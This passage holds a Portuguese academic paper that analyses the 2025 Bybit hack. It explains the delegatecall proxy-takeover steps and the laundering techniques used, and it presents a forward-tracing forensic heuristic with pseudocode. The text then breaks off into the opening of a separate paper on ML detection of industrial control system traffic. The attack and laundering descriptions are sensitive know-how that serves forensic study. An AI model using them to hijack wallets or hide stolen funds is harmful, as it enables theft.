ender a arquitetura de segurança envolvida no incidente analisado. São introduzidos os
principais mecanismos que estruturam o funcionamento de contratos inteligentes na plata-
forma Ethereum, incluindo modelos de custódia, padrões de execução e vulnerabilidades
associadas.

2.1.1. Carteiras Multissinadas e Arquitetura Proxy

As carteiras multiassinadas são contratos inteligentes que requerem a autorização con-
junta de um conjunto M-de-N chaves privadas para que uma transação seja validamente
executada. No ecossistema Ethereum, a plataforma Safe (anteriormente Gnosis Safe)
consolidou-se como o principal padrão de mercado para a custódia segura de ativos digi-
tais, adotando uma arquitetura modular estruturada sobre o padrão Proxy [Bodell and Xing
, 2023]. Neste padrão, a lógica de negócio reside em um contrato imutável denominado
MasterCopy (ou Singleton), enquanto o estado (saldo, proprietários, nonces) é mantido
em um contrato Proxy. O Proxy delega a execução de chamadas para o MasterCopy,
permitindo que múltiplas carteiras compartilhem a mesma lógica segura e reduzindo custos
de gas [Meisami and Bodell III , 2023].

2.1.2. Mecanismo de Delegatecall e Riscos de Armazenamento

A instrução delegatecall é um opcode da Máquina Virtual Ethereum (EVM) que
permite a um contrato executar o código de outro contrato mantendo o seu próprio contexto
de armazenamento, endereço e remetente. Embora essencial para a arquitetura de proxies
atualizáveis, o uso inadequado do delegatecall introduz riscos severos. Se um
atacante conseguir fazer com que um contrato Proxy execute um delegatecall para
um contrato malicioso, ele pode manipular diretamente as variáveis de estado do Proxy,
incluindo a variável que define o endereço da lógica mestre, efetivamente sequestrando a
carteira.

1Cotação de Fevereiro de 2025 de acordo com [Krause , 2025]
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2.1.3. Assinatura Cega e EIP-712

A Assinatura Cega ocorre quando um usuário aprova uma transação sem ter a capacidade
técnica ou visual de verificar o conteúdo exato dos dados brutos (calldata) que está assi-
nando. Para mitigar o risco do usuário aprovar uma transação adulterada, foi introduzido o
padrão EIP-712 [Bloemen et al. , 2017], que estrutura os dados de forma tipada e legı́vel
para o usuário final nas carteiras de hardware. Contudo, falhas na implementação de inter-
faces de usuário ou a injeção de scripts maliciosos (Front-end Hijacking) podem subverter
essa proteção, apresentando uma mensagem visualmente legı́tima enquanto solicitam a
assinatura de uma carga útil maliciosa [Goldfeder et al. , 2015].

2.1.4. Protocolos de Finanças Descentralizadas (DeFi)

Os protocolos DeFi (Decentralized Finance) constituem um ecossistema financeiro não
custodial construı́do sobre redes blockchain, utilizando contratos inteligentes para auto-
matizar serviços como empréstimos, trocas de ativos e fornecimento de liquidez sem a
necessidade de intermediários centralizados. A espinha dorsal desse sistema são as Exchan-
ges Descentralizadas, que empregam o modelo de Criador de Mercado Automatizado para
permitir swaps instantâneos entre tokens. Embora promovam inovação e acesso aberto, a
ausência de controles tradicionais de conformidade e a complexidade dos contratos tornam
os protocolos DeFi vetores frequentes tanto para a execução de ataques quanto para a
subsequente lavagem de capitais [Zhou et al. , 2023].

2.2. Trabalhos Correlatos

A literatura sobre segurança em blockchain e rastreamento de fluxos ilı́citos tem crescido
em resposta à escalada de ataques a protocolos DeFi e corretoras centralizadas.

2.2.1. Análise Forense e Heurı́sticas de Rastreamento

O trabalho de Lin et al. (2023) é seminal na caracterização de padrões de lavagem de
dinheiro na Web3. Os autores propuseram um modelo abstrato para o processo de lavagem
(Posicionamento, Ocultação e Integração) e desenvolveram algoritmos heurı́sticos de ras-
treamento prospectivo (forward-tracing) para identificar contas de lavagem não marcadas
a partir de endereços sementes conhecidos. A pesquisa analisou diversos incidentes de
segurança na rede Ethereum, revelando que hackers frequentemente utilizam corretoras
descentralizadas (DEXs) e serviços de empréstimo para ofuscar fundos, além de identi-
ficar o uso crescente de tokens falsificados. A metodologia de Lin et al. (2023) serve
como base para a heurı́stica implementada neste trabalho, adaptada através do framework
BlockchainSpider [Wu et al. , 2025].

Complementarmente, a literatura acadêmica recente demonstra a eficácia da análise
de grafos de transações como ferramenta de forense em blockchains: revisões sistemáticas
destacam abordagens automatizadas frente ao anonimato e ao grande volume de dados
inerentes às redes distribuı́das [Urbano et al. , 2024]. Estudos empı́ricos confirmam que
técnicas de machine learning sobre grafos transacionais conseguem detectar comporta-
mentos atı́picos e potencial lavagem de dinheiro mesmo em cenários adversos [Pocher
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et al. , 2022; Ahmed et al. , 2024]. Ademais, investigações direcionadas aos serviços de
mixing evidenciam que é possı́vel correlacionar endereços e transações com métodos de
graph-feature learning, reduzindo a eficácia da obfuscação proporcionada por mixers [Du
et al. , 2024].

2.2.2. Análise Técnica do Caso Bybit

Especificamente sobre o incidente da Bybit, relatórios da indústria de segurança forne-
ceram as primeiras análises técnicas. Rivas et al. (2025), da NCC Group, detalharam a
anatomia do ataque off-chain, explicando como a manipulação da interface do usuário
permitiu a exploração da vulnerabilidade de delegatecall. Krause (2025) analisou o
impacto econômico do ataque, discutindo as falhas de cibersegurança no contexto da
desregulamentação das criptomoedas. Enquanto esses trabalhos focam na mecânica do
exploit ou no impacto financeiro imediato, este artigo expande a literatura ao aplicar uma
metodologia forense sistemática para mapear a dispersão total dos fundos pós-ataque e
validar a eficácia das heurı́sticas de rastreamento contra um conjunto de dados de referência
obtidos por um programa de recompensas da corretora vitima [Bybit , 2025].

3. O Incidente da Bybit: Anatomia do Ciberataque

Este seção detalha o ataque em suas duas fases componentes: a fase off-chain de manipulação
de interface de usuário e a fase on-chain de exploração de contrato inteligente.

A Bybit utilizava a plataforma Safe.global, uma solução amplamente adotada de
carteira multissinada que exige a aprovação de múltiplos signatários — no caso especı́fico,
ao menos três — para a execução de qualquer transação [Rivas et al. , 2025; Sygnia
Research Team , 2025]. Essa plataforma opera sobre uma arquitetura baseada no padrão
proxy [Bodell and Xing , 2023], na qual o contrato que mantém o estado delega a execução
da lógica ao masterCopy por meio do mecanismo de delegatecall. Tal separação
entre estado e lógica, embora proporcione flexibilidade para atualizações sem alteração do
endereço do contrato [Houy et al. , 2023; Meisami and Bodell III , 2023], também introduz
riscos estruturais: conforme destaca Ruaro et al. (2024), qualquer manipulação maliciosa
do endereço de implementação permite tomar controle da carteira — exatamente o vetor
explorado no ataque à Bybit.

3.1. Fase I: O Ataque Off-Chain e a Manipulação de Interface de Usuário

Análises forenses indicam que o vetor de compromisso inicial constituiu uma campanha
de engenharia social direcionada [Rivas et al. , 2025; Sygnia Research Team , 2025]. Os
atacantes obtiveram acesso a uma máquina de desenvolvedor da Safe.global através de
técnicas não especificadas, mas possivelmente envolvendo phishing sofisticado direcionado
aos empregados. A investigação de Sygnia Research Team (2025) identificou que a
modificação dos recursos JavaScript ocorreu em 19 de fevereiro de 2025, dois dias antes
da transação maliciosa, e foi removida aproximadamente dois minutos após o sucesso do
ataque, em uma tentativa de encobrir os rastros.

O sucesso desta fase dependeu da exploração da vulnerabilidade de assinatura cega
inerente a algumas interfaces gráficas de carteiras. [Zhou et al. , 2023; Yan et al. , 2024].
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Conforme documentado por Krause (2025), os signatários aprovaram transações baseando-
se na interface visual comprometida, sem verificar o código hexadecimal subjacente que
estava sendo efetivamente assinado pela carteira de hardware.

A desconexão entre a representação visual na aplicação web e os dados brutos da
transação permitiu que a lógica maliciosa fosse aprovada. Houy et al. (2023) argumenta
que esta falha demonstra a fragilidade de confiar apenas em chaves privadas; uma abor-
dagem mais robusta envolveria a implementação de polı́ticas de segurança programáveis
diretamente nos contratos inteligentes, como atrasos obrigatórios na execução e listas de
permissão imutáveis, limitando o impacto de uma chave ou interface comprometida.

3.2. Fase II: O Ataque On-Chain - Exploração da Vulnerabilidade delegatecall
Uma vez obtidas as assinaturas válidas para a transação adulterada, iniciou-se a execução
on-chain. Os atacantes criaram um contrato malicioso especificamente projetado para
explorar a vulnerabilidade de delegatecall inerente ao padrão Proxy quando manipu-
lado externamente [Rivas et al. , 2025; Krause , 2025]. O contrato malicioso possuı́a uma
função com a mesma assinatura da função transfer do padrão ERC-20, explorando a
limitação da validação visual.

A Figura 1 ilustra o fluxo de execução do ataque, destacando como o mecanismo
de delegatecall permitiu o acesso ao armazenamento do contrato Proxy.

Figura 1. Fluxo de execução do ataque via delegatecall: manipulação do
armazenamento do Proxy e sobrescrita do Slot 0.

A execução técnica do ataque seguiu a sequência de eventos detalhada abaixo:

1. Envio da Transação Maliciosa: De posse das assinaturas válidas coletadas fraudu-
lentamente, o endereço controlado pelo atacante transmitiu a transação para a rede
Ethereum. Esta transação, contendo o payload malicioso no campo de dados, foi
destinada diretamente ao endereço da Carteira Fria da Bybit.

2. Recepção pelo Proxy: O contrato Proxy da Bybit recebeu a chamada da transação.
Como a função codificada nos dados da transação não correspondia a nenhuma
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função nativa do Proxy, o mecanismo de fallback da arquitetura Safe foi acionado
para iniciar o repasse da execução.

3. Delegação Inicial: O contrato Proxy da Bybit delegou a chamada (delegatecall)
para o seu contrato de lógica legı́timo (masterCopy), conforme o funcionamento
padrão da Gnosis Safe.

4. Validação de Assinaturas: O masterCopy verificou e confirmou que as assinaturas
fornecidas na transação correspondiam aos signatários autorizados da Bybit (as
assinaturas obtidas via fraude na Fase I).

5. Execução do Payload Malicioso: Validada a autorização, o masterCopy executou a
operação solicitada na transação: um delegatecall para o endereço do contrato
malicioso especificado pelos atacantes.

6. Acesso ao Contexto de Armazenamento: O contrato malicioso foi executado
dentro do contexto de armazenamento do contrato Proxy. Devido à natureza do
delegatecall, qualquer alteração de estado realizada pelo código malicioso
refletiria diretamente nas variáveis do Proxy.

7. Sobrescrita do Slot 0: O código do atacante escreveu o endereço de uma nova
implementação no slot 0 do armazenamento. Na arquitetura da Safe, o slot 0 é
reservado para armazenar o endereço do masterCopy (a lógica da carteira).

8. Atualização Forçada da Lógica: Com a sobrescrita do slot 0, o contrato Proxy
passou a apontar para o novo contrato de implementação controlado pelos atacantes
(Shadow Contract), em vez da lógica segura da Gnosis Safe.

9. Tomada de Controle Persistente: A partir deste momento, todas as chamadas
subsequentes feitas à carteira da Bybit passaram a ser delegadas para a lógica do
atacante. Como o novo contrato de implementação não possuı́a as verificações de
segurança multissinadas, os atacantes ganharam controle administrativo total e irres-
trito sobre os ativos, permitindo a drenagem dos fundos sem qualquer autorização
adicional da Bybit [Rivas et al. , 2025].

Imediatamente após assumir o controle da carteira, os atacantes executaram uma
estratégia de ofuscação em múltiplas camadas para dificultar a rastreabilidade e o con-
gelamento dos ativos. Conforme detalhado pela Chainalysis Research Team (2025), os
fundos roubados foram rapidamente fragmentados e distribuı́dos para centenas de novos
endereços em um padrão de dispersão conhecido como peeling chain. Simultaneamente,
observou-se uma movimentação tática para converter tokens centralizados passı́veis de
congelamento, como USDT e USDC, em ativos resistentes à censura, predominantemente
Ethereum e DAI, utilizando exchanges descentralizadas como Uniswap e Curve [Sygnia
Research Team , 2025]. Esta conversão rápida foi crucial para os atacantes garantirem
a posse parcial dos valores antes que os emissores das stablecoins pudessem intervir,
consolidando o prejuı́zo financeiro da Bybit antes que contramedidas eficazes pudessem
ser tomadas [Rivas et al. , 2025].

A natureza imutável e pública da blockchain Ethereum permitiu o rastreamento
detalhado das ações dos atacantes. Todas as interações com contratos inteligentes e
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as transferências subsequentes de fundos permanecem registradas permanentemente no
livro-razão distribuı́do, o que viabilizou a análise forense on-chain realizada neste estudo.
Essa transparência possibilitou identificar os endereços crı́ticos envolvidos no incidente
e reconstruir o fluxo de ativos. Os principais endereços e hashes utilizados como base
da investigação encontram-se reunidos no Apêndice A, onde a Tabela 4 apresenta a lista
completa empregada na etapa de mapeamento dos grafos de transação.

4. Metodologia de Análise Forense On-Chain
Esta seção detalha a estrutura metodológica empregada para a análise forense das transações
relacionadas ao ataque à Bybit. O objetivo é fornecer um processo replicável e cienti-
ficamente rigoroso para o rastreamento de ativos na blockchain Ethereum, utilizando
ferramentas de acesso público e a heurı́stica proposta por [Lin et al. , 2023].

A abordagem utilizada nesta investigação baseia-se na heurı́stica de rastreamento
de transações forward-tracing [Lin et al. , 2023]. O método consiste em um rastreamento
iterativo prospectivo, onde, a partir de cada endereço identificado, todas as transações
de saı́da são sistematicamente analisadas para mapear a próxima camada de endereços
receptores. A investigação parte do endereço ETH 0x47666Fab..., o primeiro a
receber os fundos roubados da carteira fria da Bybit.

4.1. Coleta de Dados e Ferramentas
A implementação prática da heurı́stica foi realizada utilizando o BlockchainSpider [Wu et al.
, 2025], uma ferramenta de extração de dados (scraping) especializada em blockchains
EVM, combinada com a API do Etherscan. A API do Etherscan foi selecionada como a
principal fonte de dados brutos devido à sua abrangência em fornecer acesso estruturado a
transações internas e chamadas de contrato, essenciais para detectar o vetor de ataque via
delegatecall.

A Tabela 1 detalha os endpoints especı́ficos utilizados para compor o grafo de
transações.

Tabela 1. Endpoints da API da Etherscan utilizados na Análise Forense

Módulo Ação Propósito na Investigação

account txlist Rastreamento de transferências diretas de ETH (fluxo
principal).

account txlistinternal Identificação de transações geradas por contratos (es-
sencial para rastrear delegatecall e ofuscação).

account tokentx Rastreamento de movimentação de tokens ERC-20.
account tokennfttx Monitoramento de transferências de NFTs (ERC-

721).

4.2. Heurı́stica de Rastreamento
A heurı́stica segue uma estratégia de Busca em Largura (Breadth-First Search - BFS),
classificando endereços em duas categorias: (1) Integração (ex: exchanges, indicando
possı́vel saı́da de fundos) e (2) Camadas (endereços intermediários de ofuscação).
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O funcionamento do método, detalhado no fluxograma da Figura 2, opera em três
fases iterativas: Inicialização com os endereços seed; Exploração em Camadas via API;
e Classificação baseada em pontuação de risco (dirty score). O pseudocódigo completo
encontra-se no Apêndice B.

Figura 2. Fluxograma da Heurı́stica de Rastreamento, detalhando o processo de
decisão e classificação de nós.

Para viabilizar o processamento em tempo hábil e focar nos fluxos mais relevantes,
a heurı́stica foi calibrada com os parâmetros apresentados na Tabela 2.

A definição destes limiares baseou-se nas recomendações de Lin et al. (2023) e na
validação empı́rica durante a fase piloto, equilibrando a cobertura do rastreamento com as
limitações de requisição da API gratuita.
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Tabela 2. Parâmetros Finais da Heurı́stica

Parâmetro Valor Justificativa

MAX DEPTH 11 Captura múltiplas camadas de ofuscação (investigações
piloto indicaram fluxos de até 10 camadas).

MAX ADDR/LAYER 10.000 Limita a explosão exponencial do grafo e gerencia com-
plexidade computacional.

SERVICE THRESHOLD 5.000 txs Define o limiar para identificar serviços de alta rotatividade
para classificar como endereço de Integração

DIRTY SCORE 10 ETH Foca a investigação em movimentações financeiras signifi-
cativas.

5. Resultados da Análise Forense On-Chain
Esta seção apresenta os dados obtidos através da aplicação da metodologia de rastreamento
na blockchain Ethereum. A análise estrutura-se em três eixos principais: a quantificação
dos fluxos financeiros originados no incidente; a reconstrução topológica da rede de
lavagem por meio de visualização gráfica, permitindo a identificação de padrões comporta-
mentais e técnicas de ofuscação; e a validação cruzada dos resultados, confrontando os
endereços identificados pela heurı́stica com o conjunto de dados de referência do programa
de recuperação de ativos da Bybit.

5.1. Estatı́sticas do Rastreamento
A aplicação dos parâmetros descritos na metodologia resultou nas seguintes métricas
quantitativas sobre a escala do ataque:

• Endereços Rastreados: 93.089 endereços/contratos únicos mapeados na cadeia de
transações.

• Transações Analisadas: 1.813.020 transações no critério da heurı́stica.

• Volume Total Movimentado no Grafo: 28.765.655,41 ETH.

• Topologia: Predominância de estruturas de camadas (layering) sobre pontos de
integração. Proporção de 99 endereços de camadas por 1 de integração.

Observa-se que o volume total (28,7 milhões de ETH) excede o valor original do
roubo ( 401 mil ETH). Esta magnitude resulta da soma acumulada de todas as transações
no subgrafo e evidencia o fenômeno de taint leakage (vazamento de rastreamento). Como
a heurı́stica de busca em largura pode atravessar endereços de alta rotatividade não isolados
(como hot wallets de corretoras ou pools de liquidez), o volume legı́timo dessas entidades
acaba sendo contabilizado. Portanto, este indicador reflete a complexidade computacional
da análise e a contaminação da rede, e não exclusivamente o montante ilı́cito.

A análise da distribuição dos endereços revela uma desproporção entre os classi-
ficados como layering (92.158) e integração (930). A razão de aproximadamente 99:1
evidencia a complexidade da operação de ofuscação, priorizando a dispersão de ativos em
múltiplas camadas em detrimento da liquidação imediata.
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5.2. Visualização e Topologia da Rede

A modelagem de grafos permitiu a identificação de padrões topológicos como peeling
chains e pontos de consolidação. Para a geração das visualizações, desenvolveu-se uma
rotina em Python utilizando as bibliotecas pandas [McKinney , 2010] para estruturação
de dados, networkx [Hagberg et al. , 2008] para modelagem da rede e pyvis [Perrone
, 2020] para renderização.

A ferramenta atribui prioridades visuais baseadas na tipologia do endereço e di-
mensiona os vértices proporcionalmente ao grau de entrada, destacando os hubs receptores.
Adicionalmente, gerou-se um artefato interativo para permitir a inspeção dinâmica de nós
e a verificação direta no explorador de blocos via hyperlink direcionando ao site Etherscan.

Devido à densidade visual do grafo completo (93.089 nós), aplicou-se uma filtra-
gem restritiva por profundidade e valor transacionado para garantir a legibilidade. A Figura
3 apresenta o subgrafo resultante das primeiras camadas de dispersão, onde observa-se a
ramificação inicial a partir da Carteira Fria da Bybit.

5.3. Técnicas de Ofuscação Identificadas

Os fluxos rastreados indicam o uso coordenado de múltiplas técnicas para dificultar o
rastreamento e contornar mecanismos de segurança de corretoras. Identificaram-se as
seguintes estratégias:

1. Peeling Chains: Técnica de estruturação serial onde um endereço com alto saldo
transfere pequenas quantias para destinos finais e o restante para um novo endereço
de controle. O processo é repetido centenas de vezes, criando uma longa cadeia linear
que evita alertas de grandes movimentações e exaure a análise manual. [Kappos
et al. , 2022]

2. Mixers Descentralizados: Utilização do protocolo Tornado Cash para quebra de
vı́nculo on-chain através de contratos inteligentes, misturando os fundos roubados
em pools de liquidez anônimos [Nadler and Schär , 2023].

3. Troca de Ativos: Conversão estratégica de tokens de menor liquidez por ETH
ou DAI em exchanges descentralizadas como Uniswap e Curve, visando ativos
resistentes à censura. Movimentação de ativos para outras blockchains via pontes,
fragmentando o rastro de auditoria entre diferentes livros-razão [Lin et al. , 2023].

5.4. Validação Cruzada com o Programa Lazarus Bounty

Como medida de resposta ao incidente e esforço para recuperação de ativos, a Bybit
instituiu o programa de recompensas Lazarus Bounty [Bybit , 2025]. A iniciativa mantém
uma base de dados pública e uma API (HackScan API), catalogando endereços de carteiras
que a equipe de segurança da exchange e auditorias parceiras verificaram ter vı́nculo direto
ou indireto com o roubo.

Para validar a eficácia da heurı́stica de rastreamento empregada neste trabalho,
realizou-se um confronto dos dados obtidos neste trabalho contra o dataset de referência
mantido pela Bybit. Os dados foram extraı́dos da API HackScan em 23 de novembro de
2025 [Bybit Security Team , 2025]. O conjunto de dados local utilizado para a comparação
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Figura 3. Grafo de transações pós-hack da Bybit (Filtrado por volume e profundi-
dade), evidenciando a dispersão inicial.
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consistiu em 93.089 endereços únicos processados (um subconjunto dos nós totais do
grafo focado em carteiras externas). A Tabela 3 apresenta os resultados quantitativos dessa
comparação.

Tabela 3. Comparativo entre Heurı́stica Proposta e Dataset de Referência

Fonte dos Dados Quantidade % da Referência

Ref. (HackBounty) 12.031 100,00%
Heurı́stica (Local) 93.089 -
Interseção (MATCH) 11.101 92,27%
Ausentes (MISS) 930 7.73%

A análise dos dados revela uma alta taxa de aderência da metodologia proposta. O
rastreamento automático foi capaz de identificar 92,27% de todos os endereços presentes
na base de endereços confirmados do programa. Os 7,78% de endereços não encontrados
podem ser atribuı́dos às limitações de profundidade (MAX DEPTH=11), de máximo de
endereços por camadas (MAX ADDR/LAYER=10.000) e filtros de valor impostos à
heurı́stica, que propositalmente ignoram ramificações cujo a soma do valor estimado
das transações é menor que (DIRT SCORE=10 ETH) onde parte desses endereços de
referência pode residir.

Por outro lado, ao analisar a proporção sob a ótica da lista local, observa-se que os
11.101 endereços confirmados representam aproximadamente 11,9% do total de 93.089
endereços coletados neste estudo. Esta métrica sugere duas conclusões complementares:

1. Confirmação do Vazamento de Rastreamento: A maioria dos endereços (cerca
de 88%) não consta na base da Bybit. Embora parte destes sejam legitimamente
suspeitos, uma parcela significativa corrobora o fenômeno de taint leakage discutido
na Seção 5.1, onde a heurı́stica captura endereços de serviços lı́citos (ex: usuários
de uma mesma pool de liquidez) que interagiram indiretamente com os fundos
roubados.

2. Expansão da Rede Suspeita: A heurı́stica pode ter identificado uma camada de
endereços periféricos e de ”mulas”que ainda não foram catalogados no dataset de
referência, demonstrando o potencial da ferramenta para sugerir novos nós na rede
de lavagem [Lubbertsen et al. , 2025].

6. Conclusão
O incidente de segurança da Bybit, ocorrido em fevereiro de 2025, expôs vulnerabilidades
crı́ticas na arquitetura de custódia de ativos digitais, demonstrando como a convergência
entre engenharia social e falhas em contratos inteligentes pode comprometer fundos em
larga escala. Este trabalho analisou a anatomia do ataque, detalhando como a manipulação
de interface de usuário permitiu a injeção de código malicioso e a subsequente exploração
da função delegatecall.

A metodologia forense aplicada possibilitou a estruturação dos dados brutos da
blockchain em um modelo de grafo, viabilizando a auditabilidade dos fluxos financeiros
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ilı́citos. Consequentemente, os resultados obtidos evidenciam a eficácia da heurı́stica de
rastreamento, validada através do confronto com o dataset de referência do programa
Lazarus Bounty, onde a metodologia alcançou uma taxa de identificação de 92,27% dos
endereços confirmados. As principais contribuições deste estudo incluem: (1) a construção
de um grafo direcionado com 93.089 endereços e mais de 1,8 milhão de transações; (2)
a identificação topológica de técnicas de ofuscação, especificamente de peeling chains
e o uso de mixers; e (3) a quantificação do vazamento de rastreamento (taint leakage),
demonstrando que cerca de 88% dos nós mapeados representam ruı́do ou interações
indiretas, um dado crı́tico para a calibração de futuras ferramentas forenses.

Quanto às restrições metodológicas, a definição dos parâmetros de corte como
MAX ADDR/LAYER e MAX DEPTH visou assegurar a viabilidade computacional frente à
complexidade exponencial do grafo, priorizando o mapeamento das ramificações de maior
volume financeiro. Adicionalmente, os limites de requisição inerentes à interface de coleta
de dados (API) influenciaram o tempo total de processamento, direcionando a estratégia
de visualização para subgrafos filtrados de alta relevância topológica, em detrimento da
renderização integral da rede em tempo real.

Para mitigar esses desafios e aprimorar as investigações forenses em blockchain,
sugere-se para trabalhos futuros: (1) a experimentação com parâmetros da heurı́stica para a
filtragem de nós que introduzem ruı́do; (2) o desenvolvimento de visualizações dinâmicas
para a análise temporal da dispersão; e (3) a extensão do rastreamento para cenários
cross-chain, correlacionando fluxos entre diferentes redes blockchain para combater a
técnica de chain hopping.
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Kappos, G., Yousaf, H., Stütz, R., Rollet, S., Haslhofer, B., and Meiklejohn, S. (2022).
How to peel a million: Validating and expanding bitcoin clusters. In 31st USE-
NIX Security Symposium (USENIX Security 22), pages 2207–2223, Boston, MA.
USENIX Association.

Krause, D. (2025). The $1.4 billion bybit hack: Cybersecurity failures and the risks of
cryptocurrency deregulation. Available at SSRN 5150171.

Lin, D., Wu, J., Fu, Q., Yu, Y., Lin, K., Zheng, Z., and Yang, S. (2023). Towards
understanding crypto money laundering in web3 through the lenses of ethereum
heists. In Proceedings of the ACM SIGMETRICS Conference 2023.

Lubbertsen, K., van Eeten, M., and van Wegberg, R. (2025). Ghost clusters: Evaluating
attribution of illicit services through cryptocurrency tracing. In Proceedings of the
34th USENIX Security Symposium.

McKinney, W. (2010). Data structures for statistical computing in python. In Proceedings
of the 9th Python in Science Conference, volume 445, pages 51–56. Austin, TX.

Meisami, S. and Bodell III, W. E. (2023). A comprehensive survey of upgradeable smart
contract patterns. arXiv preprint.

Nadler, M. and Schär, F. (2023). Tornado cash and blockchain privacy: A primer for eco-
nomists and policymakers. Federal Reserve Bank of St. Louis Review, 105(2):122–
136.

Perrone, G. (2020). Pyvis: Python library for network visualization. https://pyvis.
readthedocs.io/. Acessado em: 23 nov. 2025.

Segurança Cibernética na Prática

72



Pocher, N., Gao, J., and Montaresi, J. (2022). Detecting anomalous cryptocurrency
transactions: An aml/cft application of machine learning-based forensics. arXiv
preprint arXiv:2206.04803.

Rivas, M., Santos, R., and Sanz, J. (2025). In-depth technical analysis of the bybit hack.
NCC Group Cyber Security Research Blog.

Ruaro, N., Gritti, F., McLaughlin, R., Grishchenko, I., Kruegel, C., and Vigna, G. (2024).
Not your type! detecting storage collision vulnerabilities in ethereum smart con-
tracts. In Proceedings of the Network and Distributed System Security Symposium
(NDSS), San Diego, CA, USA. Internet Society.

Sygnia Research Team (2025). Bybit - what we know so far.
https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/.
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A. Endereços e Hashes do Incidente da Bybit

Tabela 4. Principais Endereços e Hashes (Bybit)
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Fonte: Dados on-chain e relatório da NCC Group [Rivas et al. , 2025].
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B. Pseudocódigo do Algoritmo de Rastreamento

Algoritmo 1 Procedimento HeuristicTransactionTracing
1: // Inı́cio: PROCEDIMENTO HeuristicTransactionTracing
2: Inicializar com as transações do endereço inicial
3: fila← InicializarFila(endereco inicial)
4: contagem por camada← Mapa(0→ 1)
5: while fila não vazia E profundidade < PROFUNDIDADE MAXIMA do
6: (endereco atual, profundidade atual)← fila.dequeue()
7: // Consultar API Etherscan
8: transacoes de saida← ConsultarAPI(endereco atual)
9: for transacao EM transacoes de saida do

10: Definir destinatario← transacao.to
11: if destinatario EM visitados then
12: continue ▷ Próxima transação
13: end if
14: Calcular Pontuação de Risco (destinatario)
15: // Classificar Destinatário
16: if É endereço de integração conhecido OU num transacoes ≥

SERVICE THRESHOLD then
17: classificacao← INTEGRACAO
18: else if pontuacao de risco ≥ DIRTY SCORE THRESHOLD then
19: classificacao← Layering
20: else
21: destinatario← descartado
22: end if
23: // Verificação de Limite da Camada
24: if contagem por camada[profundidade atual + 1] <

MAX ADDR PER LAYER then
25: Adicionar destinatário e transações para este destinatário a lista de saı́da
26: Incrementar contagem por camada
27: fila.enqueue((destinatario, profundidade atual + 1))
28: visitados.add(destinatario)
29: end if
30: end for
31: end while
32: FIM: return (enderecos, transacoes)
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Abstract. This work investigates the detection of anomalous traffic in an Indus-
trial Control System (ICS) using the public Water Distribution Testbed (WDT)
dataset. We evaluate six supervised learning algorithms applied to network
data. The models were compared through stratified cross-validation and weigh-
ted metrics such as accuracy, precision, recall, and F1-Score. The results con-
firm the strong capability of KNN and Random Forest to identify anomalous
traffic, while linear models and SVM presented significant limitations. Feature
analysis revealed that application-layer attributes and packet-level characteris-
tics predominated in the detection process. The study reinforces the potential
of machine learning techniques for protecting ICS/SCADA environments and
highlights future directions, including hybrid detection approaches, temporal
modeling, and validation in real industrial scenarios.

Resumo. Este trabalho investiga a detecção de tráfego anômalo em um Sis-
tema de Controle Industrial (ICS) utilizando o conjunto de dados público Water
Distribution Testbed (WDT). Foram avaliados seis algoritmos de aprendizado
supervisionado aplicados a dados de rede. Os modelos foram comparados por
meio de validação cruzada estratificada e métricas ponderadas, como acurácia,
precisão, recall e F1-Score. Os resultados confirmam a forte capacidade do
KNN e do Random Forest em identificar tráfego anômalo, enquanto os modelos
lineares e o SVM apresentaram limitações significativas. A análise de carac-
terı́sticas revelou que os atributos da camada de aplicação e as caracterı́sticas
em nı́vel de pacote predominaram no processo de detecção. O estudo reforça o
potencial das técnicas de aprendizado de máquina para a proteção de ambien-
tes ICS/SCADA e destaca direções futuras, incluindo abordagens de detecção
hı́bridas, modelagem temporal e validação em cenários industriais reais.

1. Introdução
Sistema de Controle Industrial (Industrial Control System, ICS) é o conjunto integrado de
hardware e software responsável por monitorar e controlar processos industriais em tempo
real [Ross 2011]. Um ICS suporta processos crı́ticos em diversos setores, como água e sa-
neamento [Weiss 2013], energia elétrica [Cintuglu et al. 2017, Rana et al. 2018], oleodu-
tos e gasodutos [Akhondi et al. 2010], instalações nucleares, transporte e logı́stica, entre
outros. Esses sistemas também são enquadrados como Sistemas Ciberfı́sicos (Cyber-
Physical System, CPS), pois conectam a operação da planta fı́sica à infraestrutura de
computação e comunicação [Jazdi 2014].

Conforme ilustrado na Figura 1, um ICS tipicamente combina Sistemas de Su-
pervisão e Aquisição de Dados (Supervisory Control and Data Acquisition, SCADA),
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Interface Homem-Máquina (Human Machine Interface, HMI), Controladores Lógicos
Programáveis (Programmable Logic Controllers, PLCs), Unidade de Terminal Remota
(Remote Terminal Unit, RTU), e Sistema de Controle Distribuı́do (Distributed Control
System, DCS). O SCADA realiza a coleta de dados de sensores (que medem variáveis de
processo) que permitem o controle do sistema por meio do software de HMI. Seu objetivo
é manter o processo seguro, estável e eficiente, aplicando malhas de controle, alarmes e
lógicas de proteção.

Figura 1. Arquitetura tı́pica de um ICS, adaptado de [Gao et al. 2013]

No passado, a maioria dos sistemas de controle industrial (ICS/SCADA) operava
segregados das demais redes. Com a convergência entre Tecnologia da Informação (TI)
e Tecnologia Operacional (TO) e comunicação com a internet, vieram ganhos claros de
assistência técnica e monitoramento remoto, eficiência operacional e redução de custos,
mas também ocorreu o aumento da superfı́cie de ataque para ambientes anteriormente
isolados [Stouffer et al. 2023].

Em ambientes conectados, uma vulnerabilidade em um único ativo pode ser ex-
plorada remotamente para movimentação lateral até o domı́nio de estações de engenha-
ria, servidores SCADA ou controladores, habilitando desde o abuso de comandos ope-
racionais até interrupções fı́sicas do processo. Como exemplo real, pode-se citar o em-
blemático caso ocorrido em 2010: o Stuxnet comprometeu instalações de enriquecimento
de urânio do Irã, tendo como alvo o software Siemens Step7. Este software era usado
para programar PLC, dispositivo digital que controla equipamentos industriais. O Stux-
net se inseria no ambiente Windows, procurava o Step7 e, ao encontrá-lo, coletava dados,
forçava o sistema a operar em estados crı́ticos e ainda mascarava alarmes para que opera-
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dor não observasse nenhuma falha [Falliere et al. 2011].

Outro caso real de ataque a sistema SCADA são os ataques à rede elétrica da
Ucrânia (2015/2016) comprometeram ambientes corporativos, acessaram redes SCADA
e abriram disjuntores à distância, causando blecautes em larga escala [Lee et al. 2016].
Esses episódios ilustram que, embora a conectividade traga benefı́cios operacionais, inci-
dentes em ICS podem causar danos fı́sicos, interrupções de serviço e impactos à segurança
humana.

Embora a cibersegurança em TI seja madura e bem padronizada, o mesmo não
ocorre na TO, ainda faltam cultura de segurança, polı́ticas consistentes e padrões ampla-
mente adotados [Lee et al. 2016]. Em TI, a confidencialidade costuma ser a prioridade,
já em OT/ICS, o foco principal é a disponibilidade e a segurança da operação. Isso muda
